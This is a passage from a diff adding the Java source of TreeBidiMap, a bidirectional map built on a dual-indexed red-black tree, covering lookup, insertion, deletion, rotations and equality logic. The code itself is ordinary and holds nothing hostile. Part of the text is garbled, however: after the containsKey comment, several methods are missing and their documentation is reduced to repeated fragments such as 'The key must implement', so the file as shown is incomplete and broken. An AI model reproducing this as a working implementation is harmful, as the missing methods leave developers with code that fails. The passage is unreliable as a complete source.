+ * and ascending value order, sorted according to the natural order for
+ * the key's and value's classes.
+ *
+ * This Map is intended for applications that need to be able to look
+ * up a key-value pairing by either key or value, and need to do so
+ * with equal efficiency.
+ *
+ * While that goal could be accomplished by taking a pair of TreeMaps
+ * and redirecting requests to the appropriate TreeMap (e.g.,
+ * containsKey would be directed to the TreeMap that maps values to
+ * keys, containsValue would be directed to the TreeMap that maps keys
+ * to values), there are problems with that implementation.
+ * If the data contained in the TreeMaps is large, the cost of redundant
+ * storage becomes significant. The {@link DualTreeBidiMap} and
+ * {@link DualHashBidiMap} implementations use this approach.
+ *
+ * This solution keeps minimizes the data storage by holding data only once.
+ * The red-black algorithm is based on java util TreeMap, but has been modified
+ * to simultaneously map a tree node by key and by value. This doubles the
+ * cost of put operations (but so does using two TreeMaps), and nearly doubles
+ * the cost of remove operations (there is a savings in that the lookup of the
+ * node to be removed only has to be performed once). And since only one node
+ * contains the key and value, storage is significantly less than that
+ * required by two TreeMaps.
+ *
+ * The Map.Entry instances returned by the appropriate methods will
+ * not allow setValue() and will throw an
+ * UnsupportedOperationException on attempts to call that method.
+ *
+ * @since Commons Collections 3.0 (previously DoubleOrderedMap v2.0)
+ * @version $Revision: 1.14 $ $Date: 2004/05/26 21:58:02 $
+ *
+ * @author Marc Johnson
+ * @author Stephen Colebourne
+ */
+public class TreeBidiMap implements OrderedBidiMap {
+
+ private static final int KEY = 0;
+ private static final int VALUE = 1;
+ private static final int MAPENTRY = 2;
+ private static final int INVERSEMAPENTRY = 3;
+ private static final int SUM_OF_INDICES = KEY + VALUE;
+ private static final int FIRST_INDEX = 0;
+ private static final int NUMBER_OF_INDICES = 2;
+ private static final String[] dataName = new String[] { "key", "value" };
+
+ private Node[] rootNode = new Node[2];
+ private int nodeCount = 0;
+ private int modifications = 0;
+ private Set keySet;
+ private Set valuesSet;
+ private Set entrySet;
+ private TreeBidiMap.Inverse inverse = null;
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructs a new empty TreeBidiMap.
+ */
+ public TreeBidiMap() {
+ super();
+ }
+
+ /**
+ * Constructs a new TreeBidiMap by copying an existing Map.
+ *
+ * @param map the map to copy
+ * @throws ClassCastException if the keys/values in the map are
+ * not Comparable or are not mutually comparable
+ * @throws NullPointerException if any key or value in the map is null
+ */
+ public TreeBidiMap(final Map map) {
+ super();
+ putAll(map);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Returns the number of key-value mappings in this map.
+ *
+ * @return the number of key-value mappings in this map
+ */
+ public int size() {
+ return nodeCount;
+ }
+
+ /**
+ * Checks whether the map is empty or not.
+ *
+ * @return true if the map is empty
+ */
+ public boolean isEmpty() {
+ return (nodeCount == 0);
+ }
+
+ /**
+ * Checks whether this map contains the a mapping for the specified key.
+ *
+ * The key must implement
+ * The value must implement
+ * The key must implement
+ * When adding a key-value pair, the value may already exist in the map
+ * against a different key. That mapping is removed, to ensure that the
+ * value only occurs once in the inverse map.
+ *
+ * Both key and value must implement
+ * All keys and values must implement
+ * The key must implement
+ * The value must implement
+ * The value must implement
+ * The key must implement
+ * The key must implement
+ * The set is backed by the map, so changes to the map are reflected in
+ * the set, and vice-versa. If the map is modified while an iteration over
+ * the set is in progress, the results of the iteration are undefined.
+ *
+ * The set supports element removal, which removes the corresponding mapping
+ * from the map. It does not support the add or addAll operations.
+ *
+ * @return a set view of the keys contained in this map.
+ */
+ public Set keySet() {
+ if (keySet == null) {
+ keySet = new View(this, KEY, KEY);
+ }
+ return keySet;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Returns a set view of the values contained in this map in key order.
+ * The returned object can be cast to a Set.
+ *
+ * The set is backed by the map, so changes to the map are reflected in
+ * the set, and vice-versa. If the map is modified while an iteration over
+ * the set is in progress, the results of the iteration are undefined.
+ *
+ * The set supports element removal, which removes the corresponding mapping
+ * from the map. It does not support the add or addAll operations.
+ *
+ * @return a set view of the values contained in this map.
+ */
+ public Collection values() {
+ if (valuesSet == null) {
+ valuesSet = new View(this, KEY, VALUE);
+ }
+ return valuesSet;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Returns a set view of the entries contained in this map in key order.
+ * For simple iteration through the map, the MapIterator is quicker.
+ *
+ * The set is backed by the map, so changes to the map are reflected in
+ * the set, and vice-versa. If the map is modified while an iteration over
+ * the set is in progress, the results of the iteration are undefined.
+ *
+ * The set supports element removal, which removes the corresponding mapping
+ * from the map. It does not support the add or addAll operations.
+ * The returned MapEntry objects do not support setValue.
+ *
+ * @return a set view of the values contained in this map.
+ */
+ public Set entrySet() {
+ if (entrySet == null) {
+ return new EntryView(this, KEY, MAPENTRY);
+ }
+ return entrySet;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets an iterator over the map entries.
+ *
+ * For this map, this iterator is the fastest way to iterate over the entries.
+ *
+ * @return an iterator
+ */
+ public MapIterator mapIterator() {
+ if (isEmpty()) {
+ return EmptyOrderedMapIterator.INSTANCE;
+ }
+ return new ViewMapIterator(this, KEY);
+ }
+
+ /**
+ * Gets an ordered iterator over the map entries.
+ *
+ * This iterator allows both forward and reverse iteration over the entries.
+ *
+ * @return an iterator
+ */
+ public OrderedMapIterator orderedMapIterator() {
+ if (isEmpty()) {
+ return EmptyOrderedMapIterator.INSTANCE;
+ }
+ return new ViewMapIterator(this, KEY);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the inverse map for comparison.
+ *
+ * @return the inverse map
+ */
+ public BidiMap inverseBidiMap() {
+ return inverseOrderedBidiMap();
+ }
+
+ /**
+ * Gets the inverse map for comparison.
+ *
+ * @return the inverse map
+ */
+ public OrderedBidiMap inverseOrderedBidiMap() {
+ if (inverse == null) {
+ inverse = new Inverse(this);
+ }
+ return inverse;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Compares for equals as per the API.
+ *
+ * @param obj the object to compare to
+ * @return true if equal
+ */
+ public boolean equals(Object obj) {
+ return this.doEquals(obj, KEY);
+ }
+
+ /**
+ * Gets the hash code value for this map as per the API.
+ *
+ * @return the hash code value for this map
+ */
+ public int hashCode() {
+ return this.doHashCode(KEY);
+ }
+
+ /**
+ * Returns a string version of this Map in standard format.
+ *
+ * @return a standard format string version of the map
+ */
+ public String toString() {
+ return this.doToString(KEY);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Common get logic, used to get by key or get by value
+ *
+ * @param obj the key or value that we're looking for
+ * @param index the KEY or VALUE int
+ * @return the key (if the value was mapped) or the value (if the
+ * key was mapped); null if we couldn't find the specified
+ * object
+ */
+ private Object doGet(final Comparable obj, final int index) {
+ checkNonNullComparable(obj, index);
+ Node node = lookup(obj, index);
+ return ((node == null) ? null : node.getData(oppositeIndex(index)));
+ }
+
+ /**
+ * Common put logic, differing only in the return value.
+ *
+ * @param key the key, always the main map key
+ * @param value the value, always the main map value
+ * @param index the KEY or VALUE int, for the return value only
+ * @return the previously mapped value
+ */
+ private Object doPut(final Comparable key, final Comparable value, final int index) {
+ checkKeyAndValue(key, value);
+
+ // store previous and remove previous mappings
+ Object prev = (index == KEY ? doGet(key, KEY) : doGet(value, VALUE));
+ doRemove(key, KEY);
+ doRemove(value, VALUE);
+
+ Node node = rootNode[KEY];
+ if (node == null) {
+ // map is empty
+ Node root = new Node(key, value);
+ rootNode[KEY] = root;
+ rootNode[VALUE] = root;
+ grow();
+
+ } else {
+ // add new mapping
+ while (true) {
+ int cmp = compare(key, node.getData(KEY));
+
+ if (cmp == 0) {
+ // shouldn't happen
+ throw new IllegalArgumentException("Cannot store a duplicate key (\"" + key + "\") in this Map");
+ } else if (cmp < 0) {
+ if (node.getLeft(KEY) != null) {
+ node = node.getLeft(KEY);
+ } else {
+ Node newNode = new Node(key, value);
+
+ insertValue(newNode);
+ node.setLeft(newNode, KEY);
+ newNode.setParent(node, KEY);
+ doRedBlackInsert(newNode, KEY);
+ grow();
+
+ break;
+ }
+ } else { // cmp > 0
+ if (node.getRight(KEY) != null) {
+ node = node.getRight(KEY);
+ } else {
+ Node newNode = new Node(key, value);
+
+ insertValue(newNode);
+ node.setRight(newNode, KEY);
+ newNode.setParent(node, KEY);
+ doRedBlackInsert(newNode, KEY);
+ grow();
+
+ break;
+ }
+ }
+ }
+ }
+ return prev;
+ }
+
+ /**
+ * Remove by object (remove by key or remove by value)
+ *
+ * @param o the key, or value, that we're looking for
+ * @param index the KEY or VALUE int
+ *
+ * @return the key, if remove by value, or the value, if remove by
+ * key. null if the specified key or value could not be
+ * found
+ */
+ private Object doRemove(final Comparable o, final int index) {
+ Node node = lookup(o, index);
+ Object rval = null;
+ if (node != null) {
+ rval = node.getData(oppositeIndex(index));
+ doRedBlackDelete(node);
+ }
+ return rval;
+ }
+
+ /**
+ * do the actual lookup of a piece of data
+ *
+ * @param data the key or value to be looked up
+ * @param index the KEY or VALUE int
+ * @return the desired Node, or null if there is no mapping of the
+ * specified data
+ */
+ private Node lookup(final Comparable data, final int index) {
+ Node rval = null;
+ Node node = rootNode[index];
+
+ while (node != null) {
+ int cmp = compare(data, node.getData(index));
+ if (cmp == 0) {
+ rval = node;
+ break;
+ } else {
+ node = (cmp < 0) ? node.getLeft(index) : node.getRight(index);
+ }
+ }
+
+ return rval;
+ }
+
+ /**
+ * get the next larger node from the specified node
+ *
+ * @param node the node to be searched from
+ * @param index the KEY or VALUE int
+ * @return the specified node
+ */
+ private Node nextGreater(final Node node, final int index) {
+ Node rval = null;
+ if (node == null) {
+ rval = null;
+ } else if (node.getRight(index) != null) {
+ // everything to the node's right is larger. The least of
+ // the right node's descendants is the next larger node
+ rval = leastNode(node.getRight(index), index);
+ } else {
+ // traverse up our ancestry until we find an ancestor that
+ // is null or one whose left child is our ancestor. If we
+ // find a null, then this node IS the largest node in the
+ // tree, and there is no greater node. Otherwise, we are
+ // the largest node in the subtree on that ancestor's left
+ // ... and that ancestor is the next greatest node
+ Node parent = node.getParent(index);
+ Node child = node;
+
+ while ((parent != null) && (child == parent.getRight(index))) {
+ child = parent;
+ parent = parent.getParent(index);
+ }
+ rval = parent;
+ }
+ return rval;
+ }
+
+ /**
+ * get the next larger node from the specified node
+ *
+ * @param node the node to be searched from
+ * @param index the KEY or VALUE int
+ * @return the specified node
+ */
+ private Node nextSmaller(final Node node, final int index) {
+ Node rval = null;
+ if (node == null) {
+ rval = null;
+ } else if (node.getLeft(index) != null) {
+ // everything to the node's left is smaller. The greatest of
+ // the left node's descendants is the next smaller node
+ rval = greatestNode(node.getLeft(index), index);
+ } else {
+ // traverse up our ancestry until we find an ancestor that
+ // is null or one whose right child is our ancestor. If we
+ // find a null, then this node IS the largest node in the
+ // tree, and there is no greater node. Otherwise, we are
+ // the largest node in the subtree on that ancestor's right
+ // ... and that ancestor is the next greatest node
+ Node parent = node.getParent(index);
+ Node child = node;
+
+ while ((parent != null) && (child == parent.getLeft(index))) {
+ child = parent;
+ parent = parent.getParent(index);
+ }
+ rval = parent;
+ }
+ return rval;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Get the opposite index of the specified index
+ *
+ * @param index the KEY or VALUE int
+ * @return VALUE (if KEY was specified), else KEY
+ */
+ private static int oppositeIndex(final int index) {
+ // old trick ... to find the opposite of a value, m or n,
+ // subtract the value from the sum of the two possible
+ // values. (m + n) - m = n; (m + n) - n = m
+ return SUM_OF_INDICES - index;
+ }
+
+ /**
+ * Compare two objects
+ *
+ * @param o1 the first object
+ * @param o2 the second object
+ *
+ * @return negative value if o1 < o2; 0 if o1 == o2; positive
+ * value if o1 > o2
+ */
+ private static int compare(final Comparable o1, final Comparable o2) {
+ return o1.compareTo(o2);
+ }
+
+ /**
+ * Find the least node from a given node.
+ *
+ * @param node the node from which we will start searching
+ * @param index the KEY or VALUE int
+ * @return the smallest node, from the specified node, in the
+ * specified mapping
+ */
+ private static Node leastNode(final Node node, final int index) {
+ Node rval = node;
+ if (rval != null) {
+ while (rval.getLeft(index) != null) {
+ rval = rval.getLeft(index);
+ }
+ }
+ return rval;
+ }
+
+ /**
+ * Find the greatest node from a given node.
+ *
+ * @param node the node from which we will start searching
+ * @param index the KEY or VALUE int
+ * @return the greatest node, from the specified node
+ */
+ private static Node greatestNode(final Node node, final int index) {
+ Node rval = node;
+ if (rval != null) {
+ while (rval.getRight(index) != null) {
+ rval = rval.getRight(index);
+ }
+ }
+ return rval;
+ }
+
+ /**
+ * copy the color from one node to another, dealing with the fact
+ * that one or both nodes may, in fact, be null
+ *
+ * @param from the node whose color we're copying; may be null
+ * @param to the node whose color we're changing; may be null
+ * @param index the KEY or VALUE int
+ */
+ private static void copyColor(final Node from, final Node to, final int index) {
+ if (to != null) {
+ if (from == null) {
+ // by default, make it black
+ to.setBlack(index);
+ } else {
+ to.copyColor(from, index);
+ }
+ }
+ }
+
+ /**
+ * is the specified node red? if the node does not exist, no, it's
+ * black, thank you
+ *
+ * @param node the node (may be null) in question
+ * @param index the KEY or VALUE int
+ */
+ private static boolean isRed(final Node node, final int index) {
+ return ((node == null) ? false : node.isRed(index));
+ }
+
+ /**
+ * is the specified black red? if the node does not exist, sure,
+ * it's black, thank you
+ *
+ * @param node the node (may be null) in question
+ * @param index the KEY or VALUE int
+ */
+ private static boolean isBlack(final Node node, final int index) {
+ return ((node == null) ? true : node.isBlack(index));
+ }
+
+ /**
+ * force a node (if it exists) red
+ *
+ * @param node the node (may be null) in question
+ * @param index the KEY or VALUE int
+ */
+ private static void makeRed(final Node node, final int index) {
+ if (node != null) {
+ node.setRed(index);
+ }
+ }
+
+ /**
+ * force a node (if it exists) black
+ *
+ * @param node the node (may be null) in question
+ * @param index the KEY or VALUE int
+ */
+ private static void makeBlack(final Node node, final int index) {
+ if (node != null) {
+ node.setBlack(index);
+ }
+ }
+
+ /**
+ * get a node's grandparent. mind you, the node, its parent, or
+ * its grandparent may not exist. no problem
+ *
+ * @param node the node (may be null) in question
+ * @param index the KEY or VALUE int
+ */
+ private static Node getGrandParent(final Node node, final int index) {
+ return getParent(getParent(node, index), index);
+ }
+
+ /**
+ * get a node's parent. mind you, the node, or its parent, may not
+ * exist. no problem
+ *
+ * @param node the node (may be null) in question
+ * @param index the KEY or VALUE int
+ */
+ private static Node getParent(final Node node, final int index) {
+ return ((node == null) ? null : node.getParent(index));
+ }
+
+ /**
+ * get a node's right child. mind you, the node may not exist. no
+ * problem
+ *
+ * @param node the node (may be null) in question
+ * @param index the KEY or VALUE int
+ */
+ private static Node getRightChild(final Node node, final int index) {
+ return (node == null) ? null : node.getRight(index);
+ }
+
+ /**
+ * get a node's left child. mind you, the node may not exist. no
+ * problem
+ *
+ * @param node the node (may be null) in question
+ * @param index the KEY or VALUE int
+ */
+ private static Node getLeftChild(final Node node, final int index) {
+ return (node == null) ? null : node.getLeft(index);
+ }
+
+ /**
+ * is this node its parent's left child? mind you, the node, or
+ * its parent, may not exist. no problem. if the node doesn't
+ * exist ... it's its non-existent parent's left child. If the
+ * node does exist but has no parent ... no, we're not the
+ * non-existent parent's left child. Otherwise (both the specified
+ * node AND its parent exist), check.
+ *
+ * @param node the node (may be null) in question
+ * @param index the KEY or VALUE int
+ */
+ private static boolean isLeftChild(final Node node, final int index) {
+ return (node == null)
+ ? true
+ : ((node.getParent(index) == null) ?
+ false : (node == node.getParent(index).getLeft(index)));
+ }
+
+ /**
+ * is this node its parent's right child? mind you, the node, or
+ * its parent, may not exist. no problem. if the node doesn't
+ * exist ... it's its non-existent parent's right child. If the
+ * node does exist but has no parent ... no, we're not the
+ * non-existent parent's right child. Otherwise (both the
+ * specified node AND its parent exist), check.
+ *
+ * @param node the node (may be null) in question
+ * @param index the KEY or VALUE int
+ */
+ private static boolean isRightChild(final Node node, final int index) {
+ return (node == null)
+ ? true
+ : ((node.getParent(index) == null) ?
+ false : (node == node.getParent(index).getRight(index)));
+ }
+
+ /**
+ * do a rotate left. standard fare in the world of balanced trees
+ *
+ * @param node the node to be rotated
+ * @param index the KEY or VALUE int
+ */
+ private void rotateLeft(final Node node, final int index) {
+ Node rightChild = node.getRight(index);
+ node.setRight(rightChild.getLeft(index), index);
+
+ if (rightChild.getLeft(index) != null) {
+ rightChild.getLeft(index).setParent(node, index);
+ }
+ rightChild.setParent(node.getParent(index), index);
+
+ if (node.getParent(index) == null) {
+ // node was the root ... now its right child is the root
+ rootNode[index] = rightChild;
+ } else if (node.getParent(index).getLeft(index) == node) {
+ node.getParent(index).setLeft(rightChild, index);
+ } else {
+ node.getParent(index).setRight(rightChild, index);
+ }
+
+ rightChild.setLeft(node, index);
+ node.setParent(rightChild, index);
+ }
+
+ /**
+ * do a rotate right. standard fare in the world of balanced trees
+ *
+ * @param node the node to be rotated
+ * @param index the KEY or VALUE int
+ */
+ private void rotateRight(final Node node, final int index) {
+ Node leftChild = node.getLeft(index);
+ node.setLeft(leftChild.getRight(index), index);
+ if (leftChild.getRight(index) != null) {
+ leftChild.getRight(index).setParent(node, index);
+ }
+ leftChild.setParent(node.getParent(index), index);
+
+ if (node.getParent(index) == null) {
+ // node was the root ... now its left child is the root
+ rootNode[index] = leftChild;
+ } else if (node.getParent(index).getRight(index) == node) {
+ node.getParent(index).setRight(leftChild, index);
+ } else {
+ node.getParent(index).setLeft(leftChild, index);
+ }
+
+ leftChild.setRight(node, index);
+ node.setParent(leftChild, index);
+ }
+
+ /**
+ * complicated red-black insert stuff. Based on Sun's TreeMap
+ * implementation, though it's barely recognizable any more
+ *
+ * @param insertedNode the node to be inserted
+ * @param index the KEY or VALUE int
+ */
+ private void doRedBlackInsert(final Node insertedNode, final int index) {
+ Node currentNode = insertedNode;
+ makeRed(currentNode, index);
+
+ while ((currentNode != null)
+ && (currentNode != rootNode[index])
+ && (isRed(currentNode.getParent(index), index))) {
+ if (isLeftChild(getParent(currentNode, index), index)) {
+ Node y = getRightChild(getGrandParent(currentNode, index), index);
+
+ if (isRed(y, index)) {
+ makeBlack(getParent(currentNode, index), index);
+ makeBlack(y, index);
+ makeRed(getGrandParent(currentNode, index), index);
+
+ currentNode = getGrandParent(currentNode, index);
+ } else {
+ if (isRightChild(currentNode, index)) {
+ currentNode = getParent(currentNode, index);
+
+ rotateLeft(currentNode, index);
+ }
+
+ makeBlack(getParent(currentNode, index), index);
+ makeRed(getGrandParent(currentNode, index), index);
+
+ if (getGrandParent(currentNode, index) != null) {
+ rotateRight(getGrandParent(currentNode, index), index);
+ }
+ }
+ } else {
+
+ // just like clause above, except swap left for right
+ Node y = getLeftChild(getGrandParent(currentNode, index), index);
+
+ if (isRed(y, index)) {
+ makeBlack(getParent(currentNode, index), index);
+ makeBlack(y, index);
+ makeRed(getGrandParent(currentNode, index), index);
+
+ currentNode = getGrandParent(currentNode, index);
+ } else {
+ if (isLeftChild(currentNode, index)) {
+ currentNode = getParent(currentNode, index);
+
+ rotateRight(currentNode, index);
+ }
+
+ makeBlack(getParent(currentNode, index), index);
+ makeRed(getGrandParent(currentNode, index), index);
+
+ if (getGrandParent(currentNode, index) != null) {
+ rotateLeft(getGrandParent(currentNode, index), index);
+ }
+ }
+ }
+ }
+
+ makeBlack(rootNode[index], index);
+ }
+
+ /**
+ * complicated red-black delete stuff. Based on Sun's TreeMap
+ * implementation, though it's barely recognizable any more
+ *
+ * @param deletedNode the node to be deleted
+ */
+ private void doRedBlackDelete(final Node deletedNode) {
+ for (int index = FIRST_INDEX; index < NUMBER_OF_INDICES; index++) {
+ // if deleted node has both left and children, swap with
+ // the next greater node
+ if ((deletedNode.getLeft(index) != null) && (deletedNode.getRight(index) != null)) {
+ swapPosition(nextGreater(deletedNode, index), deletedNode, index);
+ }
+
+ Node replacement =
+ ((deletedNode.getLeft(index) != null) ? deletedNode.getLeft(index) : deletedNode.getRight(index));
+
+ if (replacement != null) {
+ replacement.setParent(deletedNode.getParent(index), index);
+
+ if (deletedNode.getParent(index) == null) {
+ rootNode[index] = replacement;
+ } else if (deletedNode == deletedNode.getParent(index).getLeft(index)) {
+ deletedNode.getParent(index).setLeft(replacement, index);
+ } else {
+ deletedNode.getParent(index).setRight(replacement, index);
+ }
+
+ deletedNode.setLeft(null, index);
+ deletedNode.setRight(null, index);
+ deletedNode.setParent(null, index);
+
+ if (isBlack(deletedNode, index)) {
+ doRedBlackDeleteFixup(replacement, index);
+ }
+ } else {
+
+ // replacement is null
+ if (deletedNode.getParent(index) == null) {
+
+ // empty tree
+ rootNode[index] = null;
+ } else {
+
+ // deleted node had no children
+ if (isBlack(deletedNode, index)) {
+ doRedBlackDeleteFixup(deletedNode, index);
+ }
+
+ if (deletedNode.getParent(index) != null) {
+ if (deletedNode == deletedNode.getParent(index).getLeft(index)) {
+ deletedNode.getParent(index).setLeft(null, index);
+ } else {
+ deletedNode.getParent(index).setRight(null, index);
+ }
+
+ deletedNode.setParent(null, index);
+ }
+ }
+ }
+ }
+ shrink();
+ }
+
+ /**
+ * complicated red-black delete stuff. Based on Sun's TreeMap
+ * implementation, though it's barely recognizable any more. This
+ * rebalances the tree (somewhat, as red-black trees are not
+ * perfectly balanced -- perfect balancing takes longer)
+ *
+ * @param replacementNode the node being replaced
+ * @param index the KEY or VALUE int
+ */
+ private void doRedBlackDeleteFixup(final Node replacementNode, final int index) {
+ Node currentNode = replacementNode;
+
+ while ((currentNode != rootNode[index]) && (isBlack(currentNode, index))) {
+ if (isLeftChild(currentNode, index)) {
+ Node siblingNode = getRightChild(getParent(currentNode, index), index);
+
+ if (isRed(siblingNode, index)) {
+ makeBlack(siblingNode, index);
+ makeRed(getParent(currentNode, index), index);
+ rotateLeft(getParent(currentNode, index), index);
+
+ siblingNode = getRightChild(getParent(currentNode, index), index);
+ }
+
+ if (isBlack(getLeftChild(siblingNode, index), index)
+ && isBlack(getRightChild(siblingNode, index), index)) {
+ makeRed(siblingNode, index);
+
+ currentNode = getParent(currentNode, index);
+ } else {
+ if (isBlack(getRightChild(siblingNode, index), index)) {
+ makeBlack(getLeftChild(siblingNode, index), index);
+ makeRed(siblingNode, index);
+ rotateRight(siblingNode, index);
+
+ siblingNode = getRightChild(getParent(currentNode, index), index);
+ }
+
+ copyColor(getParent(currentNode, index), siblingNode, index);
+ makeBlack(getParent(currentNode, index), index);
+ makeBlack(getRightChild(siblingNode, index), index);
+ rotateLeft(getParent(currentNode, index), index);
+
+ currentNode = rootNode[index];
+ }
+ } else {
+ Node siblingNode = getLeftChild(getParent(currentNode, index), index);
+
+ if (isRed(siblingNode, index)) {
+ makeBlack(siblingNode, index);
+ makeRed(getParent(currentNode, index), index);
+ rotateRight(getParent(currentNode, index), index);
+
+ siblingNode = getLeftChild(getParent(currentNode, index), index);
+ }
+
+ if (isBlack(getRightChild(siblingNode, index), index)
+ && isBlack(getLeftChild(siblingNode, index), index)) {
+ makeRed(siblingNode, index);
+
+ currentNode = getParent(currentNode, index);
+ } else {
+ if (isBlack(getLeftChild(siblingNode, index), index)) {
+ makeBlack(getRightChild(siblingNode, index), index);
+ makeRed(siblingNode, index);
+ rotateLeft(siblingNode, index);
+
+ siblingNode = getLeftChild(getParent(currentNode, index), index);
+ }
+
+ copyColor(getParent(currentNode, index), siblingNode, index);
+ makeBlack(getParent(currentNode, index), index);
+ makeBlack(getLeftChild(siblingNode, index), index);
+ rotateRight(getParent(currentNode, index), index);
+
+ currentNode = rootNode[index];
+ }
+ }
+ }
+
+ makeBlack(currentNode, index);
+ }
+
+ /**
+ * swap two nodes (except for their content), taking care of
+ * special cases where one is the other's parent ... hey, it
+ * happens.
+ *
+ * @param x one node
+ * @param y another node
+ * @param index the KEY or VALUE int
+ */
+ private void swapPosition(final Node x, final Node y, final int index) {
+ // Save initial values.
+ Node xFormerParent = x.getParent(index);
+ Node xFormerLeftChild = x.getLeft(index);
+ Node xFormerRightChild = x.getRight(index);
+ Node yFormerParent = y.getParent(index);
+ Node yFormerLeftChild = y.getLeft(index);
+ Node yFormerRightChild = y.getRight(index);
+ boolean xWasLeftChild = (x.getParent(index) != null) && (x == x.getParent(index).getLeft(index));
+ boolean yWasLeftChild = (y.getParent(index) != null) && (y == y.getParent(index).getLeft(index));
+
+ // Swap, handling special cases of one being the other's parent.
+ if (x == yFormerParent) { // x was y's parent
+ x.setParent(y, index);
+
+ if (yWasLeftChild) {
+ y.setLeft(x, index);
+ y.setRight(xFormerRightChild, index);
+ } else {
+ y.setRight(x, index);
+ y.setLeft(xFormerLeftChild, index);
+ }
+ } else {
+ x.setParent(yFormerParent, index);
+
+ if (yFormerParent != null) {
+ if (yWasLeftChild) {
+ yFormerParent.setLeft(x, index);
+ } else {
+ yFormerParent.setRight(x, index);
+ }
+ }
+
+ y.setLeft(xFormerLeftChild, index);
+ y.setRight(xFormerRightChild, index);
+ }
+
+ if (y == xFormerParent) { // y was x's parent
+ y.setParent(x, index);
+
+ if (xWasLeftChild) {
+ x.setLeft(y, index);
+ x.setRight(yFormerRightChild, index);
+ } else {
+ x.setRight(y, index);
+ x.setLeft(yFormerLeftChild, index);
+ }
+ } else {
+ y.setParent(xFormerParent, index);
+
+ if (xFormerParent != null) {
+ if (xWasLeftChild) {
+ xFormerParent.setLeft(y, index);
+ } else {
+ xFormerParent.setRight(y, index);
+ }
+ }
+
+ x.setLeft(yFormerLeftChild, index);
+ x.setRight(yFormerRightChild, index);
+ }
+
+ // Fix children's parent pointers
+ if (x.getLeft(index) != null) {
+ x.getLeft(index).setParent(x, index);
+ }
+
+ if (x.getRight(index) != null) {
+ x.getRight(index).setParent(x, index);
+ }
+
+ if (y.getLeft(index) != null) {
+ y.getLeft(index).setParent(y, index);
+ }
+
+ if (y.getRight(index) != null) {
+ y.getRight(index).setParent(y, index);
+ }
+
+ x.swapColors(y, index);
+
+ // Check if root changed
+ if (rootNode[index] == x) {
+ rootNode[index] = y;
+ } else if (rootNode[index] == y) {
+ rootNode[index] = x;
+ }
+ }
+
+ /**
+ * check if an object is fit to be proper input ... has to be
+ * Comparable and non-null
+ *
+ * @param o the object being checked
+ * @param index the KEY or VALUE int (used to put the right word in the
+ * exception message)
+ *
+ * @throws NullPointerException if o is null
+ * @throws ClassCastException if o is not Comparable
+ */
+ private static void checkNonNullComparable(final Object o, final int index) {
+ if (o == null) {
+ throw new NullPointerException(dataName[index] + " cannot be null");
+ }
+ if (!(o instanceof Comparable)) {
+ throw new ClassCastException(dataName[index] + " must be Comparable");
+ }
+ }
+
+ /**
+ * check a key for validity (non-null and implements Comparable)
+ *
+ * @param key the key to be checked
+ *
+ * @throws NullPointerException if key is null
+ * @throws ClassCastException if key is not Comparable
+ */
+ private static void checkKey(final Object key) {
+ checkNonNullComparable(key, KEY);
+ }
+
+ /**
+ * check a value for validity (non-null and implements Comparable)
+ *
+ * @param value the value to be checked
+ *
+ * @throws NullPointerException if value is null
+ * @throws ClassCastException if value is not Comparable
+ */
+ private static void checkValue(final Object value) {
+ checkNonNullComparable(value, VALUE);
+ }
+
+ /**
+ * check a key and a value for validity (non-null and implements
+ * Comparable)
+ *
+ * @param key the key to be checked
+ * @param value the value to be checked
+ *
+ * @throws NullPointerException if key or value is null
+ * @throws ClassCastException if key or value is not Comparable
+ */
+ private static void checkKeyAndValue(final Object key, final Object value) {
+ checkKey(key);
+ checkValue(value);
+ }
+
+ /**
+ * increment the modification count -- used to check for
+ * concurrent modification of the map through the map and through
+ * an Iterator from one of its Set or Collection views
+ */
+ private void modify() {
+ modifications++;
+ }
+
+ /**
+ * bump up the size and note that the map has changed
+ */
+ private void grow() {
+ modify();
+ nodeCount++;
+ }
+
+ /**
+ * decrement the size and note that the map has changed
+ */
+ private void shrink() {
+ modify();
+ nodeCount--;
+ }
+
+ /**
+ * insert a node by its value
+ *
+ * @param newNode the node to be inserted
+ *
+ * @throws IllegalArgumentException if the node already exists
+ * in the value mapping
+ */
+ private void insertValue(final Node newNode) throws IllegalArgumentException {
+ Node node = rootNode[VALUE];
+
+ while (true) {
+ int cmp = compare(newNode.getData(VALUE), node.getData(VALUE));
+
+ if (cmp == 0) {
+ throw new IllegalArgumentException(
+ "Cannot store a duplicate value (\"" + newNode.getData(VALUE) + "\") in this Map");
+ } else if (cmp < 0) {
+ if (node.getLeft(VALUE) != null) {
+ node = node.getLeft(VALUE);
+ } else {
+ node.setLeft(newNode, VALUE);
+ newNode.setParent(node, VALUE);
+ doRedBlackInsert(newNode, VALUE);
+
+ break;
+ }
+ } else { // cmp > 0
+ if (node.getRight(VALUE) != null) {
+ node = node.getRight(VALUE);
+ } else {
+ node.setRight(newNode, VALUE);
+ newNode.setParent(node, VALUE);
+ doRedBlackInsert(newNode, VALUE);
+
+ break;
+ }
+ }
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Compares for equals as per the API.
+ *
+ * @param obj the object to compare to
+ * @param index the KEY or VALUE int
+ * @return true if equal
+ */
+ private boolean doEquals(Object obj, final int type) {
+ if (obj == this) {
+ return true;
+ }
+ if (obj instanceof Map == false) {
+ return false;
+ }
+ Map other = (Map) obj;
+ if (other.size() != size()) {
+ return false;
+ }
+
+ if (nodeCount > 0) {
+ try {
+ for (MapIterator it = new ViewMapIterator(this, type); it.hasNext(); ) {
+ Object key = it.next();
+ Object value = it.getValue();
+ if (value.equals(other.get(key)) == false) {
+ return false;
+ }
+ }
+ } catch (ClassCastException ex) {
+ return false;
+ } catch (NullPointerException ex) {
+ return false;
+ }
+ }
+ return true;
+ }
+
+ /**
+ * Gets the hash code value for this map as per the API.
+ *
+ * @param index the KEY or VALUE int
+ * @return the hash code value for this map
+ */
+ private int doHashCode(final int type) {
+ int total = 0;
+ if (nodeCount > 0) {
+ for (MapIterator it = new ViewMapIterator(this, type); it.hasNext(); ) {
+ Object key = it.next();
+ Object value = it.getValue();
+ total += (key.hashCode() ^ value.hashCode());
+ }
+ }
+ return total;
+ }
+
+ /**
